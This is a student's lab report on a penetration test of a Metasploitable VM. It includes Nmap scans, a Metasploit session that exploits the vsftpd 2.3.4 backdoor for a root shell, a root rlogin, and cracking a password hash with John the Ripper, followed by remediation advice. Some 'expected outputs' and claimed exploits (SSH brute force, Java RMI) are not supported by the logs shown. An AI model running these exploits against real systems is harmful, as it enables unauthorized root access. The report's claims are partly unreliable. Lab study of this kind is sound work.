

Scanning and Enumerating a Local Network with Nmap

Table of Contents

Project: Simulating Real-World Network Exploitation and Defense

Name: Devraj ganguly

ERP: 6603078

Course: B.Tech CSE(CyberSecurity)

Semester: 6th

 Project Objectives

Introduction:

This project is based on performing penetration testing in a controlled lab environment to simulate

attacks that hackers may use to exploit real systems. Using Kali Linux as the attack platform and

Metasploitable as the vulnerable target system, I explore various stages of ethical hacking including

scanning, enumeration, exploitation, privilege escalation, and remediation. The purpose is to gain

hands-on experience in identifying, exploiting, and mitigating vulnerabilities responsibly.

Theory about the project:

Network penetration testing is the process of evaluating a system's network security by simulating

attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers

do. It includes multiple phases:

1. Reconnaissance: Gathering information about the target.

🔍 Scanning & Enumeration: Actively probing to find open ports, services, and vulnerabilities.

🔍 Exploitation: Gaining unauthorized access using known exploits.

🔍 Post-Exploitation: Activities like privilege escalation or data access.

🔍 Remediation: Providing security measures to patch vulnerabilities.

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

🔧 Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper
- Metasploit Framework

🔧 Task 1: Basic Network Scan

```
Discovered open port 8009/tcp on 192.168.112.130
Discovered open port 2049/tcp on 192.168.112.130
Discovered open port 2121/tcp on 192.168.112.130
Discovered open port 512/tcp on 192.168.112.130
Discovered open port 513/tcp on 192.168.112.130
Discovered open port 1524/tcp on 192.168.112.130
Discovered open port 6667/tcp on 192.168.112.130
Discovered open port 514/tcp on 192.168.112.130
Discovered open port 1099/tcp on 192.168.112.130
Discovered open port 6000/tcp on 192.168.112.130
Discovered open port 5432/tcp on 192.168.112.130
Completed SYN Stealth Scan at 16:47, 0.11s elapsed (1000 total ports)
Nmap scan report for 192.168.112.130
Host is up (0.0020s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  x11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:0E:8B:48 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.30 seconds
Raw packets sent: 1001 (44.020KB) | Rcvd: 1001 (40.120KB)

C:\home\kali>
```

Command:

nmap -v 192.168.112.130

Expected Output: Nmap scan

report for 192.168.112.130

Host is up (0.0010s latency).

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap scan report for 192.168.112.130

Host is up (0.0020s latency).

PORT STATE SERVICE

21/tcp open ftp

Task 2: Reconnaissance

```
Discovered open port 8787/tcp on 192.168.112.130
Discovered open port 2049/tcp on 192.168.112.130
Discovered open port 49766/tcp on 192.168.112.130
Discovered open port 53415/tcp on 192.168.112.130
Discovered open port 6697/tcp on 192.168.112.130
Discovered open port 513/tcp on 192.168.112.130
Completed SYN Stealth Scan at 16:48, 4.04s elapsed (65535 total ports)
Nmap scan report for 192.168.112.130
Host is up (0.0021s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
41524/tcp open  unknown
48611/tcp open  unknown
49766/tcp open  unknown
53415/tcp open  unknown
MAC Address: 00:0C:29:0E:BB:48 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.03 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.622MB)

C:\home\kali>
```

2.1 Scanning for Hidden Ports

```
Nmap scan report for 192.168.112.130
Host is up (0.0024s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath gmicregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:0E:BB:48 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.67 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)

C:\home\kali>
```

```

Host is up (0.000/1s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:0E:88:48 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Sat May 17 16:50:41 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds
Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.430KB)

```

Command:

`nmap -v -p- 192.168.112.130`

Expected Output:

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

8787/tcp open drb

47436/tcp open mountd

50918/tcp open java-rmi

59995/tcp open nlockmgr

60004/tcp open status

Total Hidden Ports: 7

2.2 Service Version Detection

Command:

```
nmap -v -sV 192.168.112.130
```

Expected Output:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
8787/tcp	open	drb	Ruby DRb RMI
47436/tcp	open	mountd	1-3 (RPC #100005)
50918/tcp	open	java-rmi	GNU Classpath grmiregistry
59995/tcp	open	nlockmgr	1-4 (RPC #100021)
60004/tcp	open	status	1 (RPC #100024)

2.3 Operating System Detection

Command:

```
nmap -v -O 192.168.112.130
```

Expected Output:

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Target IP Address: 192.168.112.130

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:0E:BB:4B (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	vsftpd 2.3.4
--------	------	-----	--------------

22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
--------	------	-----	-------------------------------

Hidden Services

8787/tcp	open	drb	Ruby DRb RMI
----------	------	-----	--------------

47436/tcp	open	mountd	1-3 (RPC #100005)
-----------	------	--------	-------------------

50918/tcp	open	java-rmi	GNU Classpath grmiregistry
59995/tcp	open	nlockmgr	1-4 (RPC #100021)

60004/tcp	open	status	1 (RPC #100024)
-----------	------	--------	-----------------

Task 4: Exploitation of Services

```
-[ metasploit v6.4.34-dev ]
+ --[ 2461 exploits - 1267 auxiliary - 431 post ]
+ --[ 1468 payloads - 49 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.112.130
RHOST => 192.168.112.130
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.112.130:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.112.130:21 - USER: 331 Please specify the password.
[*] 192.168.112.130:21 - Backdoor service has been spawned, handling...
[*] 192.168.112.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.112.128:34653 -> 192.168.112.130:6200) at 2025-05-17 16:57:22 -0400

whoami
root
uname
Linux
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```


vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```
msf5 exploit(unix/rpc/vsftpd_234_backdoor) > run

[*] 192.168.112.130:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.112.130:21 - USER: 331 Please specify the password.
[*] 192.168.112.130:21 - Backdoor service has been spawned, handling ...
[*] 192.168.112.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.112.128:34653 -> 192.168.112.130:6200) at 2025-05-17 16:57:22 -0400

whoami
root
uname
Linux
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

OpenSSH 4.7p1: Brute-force attack executed successfully.

```
vmlinuz
nmap -p 512,513,514 -sC -sV --script=buln 192.168.112.130

Starting Nmap 4.53 ( http://insecure.org ) at 2025-05-17 17:03 UTC
SCRIPT ENGINE: No such category, file or directory: 'buln'
SCRIPT ENGINE: Aborting script scan.
Interesting ports on 192.168.112.130:
PORT      STATE SERVICE VERSION
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/.
Nmap done: 1 IP address (1 host up) scanned in 133.149 seconds
rlogin -l root 192.168.112.130
Last login: Sat May 17 16:46:30 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#
```

Java RMI: Remote code execution achieved via Metasploit module.

Task 5: Creating a Privileged User

Command: adduser

devraj

Password: hello

/etc/passwd Entry:

devraj:x:1001:1001:devraj,,,:/home/devraj:/bin/bash

/etc/shadow Hash:devraj \$1\$8nWuasXV\$pk6ZABfqT9NoHv1pPX8Rj.

Task 6: Cracking Password Hash

Stored Hash in `hashes.txt`:

devraj:\$1\$8nWuasXV\$pk6ZABfqT9NoHv1pPX8Rj.

Cracking Commands:

john hashes.txt john

hashes.txt --show

Cracked Password: hello

Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable


Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

Fix: Disable or firewall restrict access

Major Learnings

- Applied Nmap for full-range scanning and OS detection.
- Understood enumeration and real-world exploitation techniques.
- Gained skills in privilege escalation and hash cracking.
- Learned how to evaluate vulnerabilities and apply proper remediation.

 This project simulates a real-world penetration test using open-source tools and is intended strictly for educational purposes.

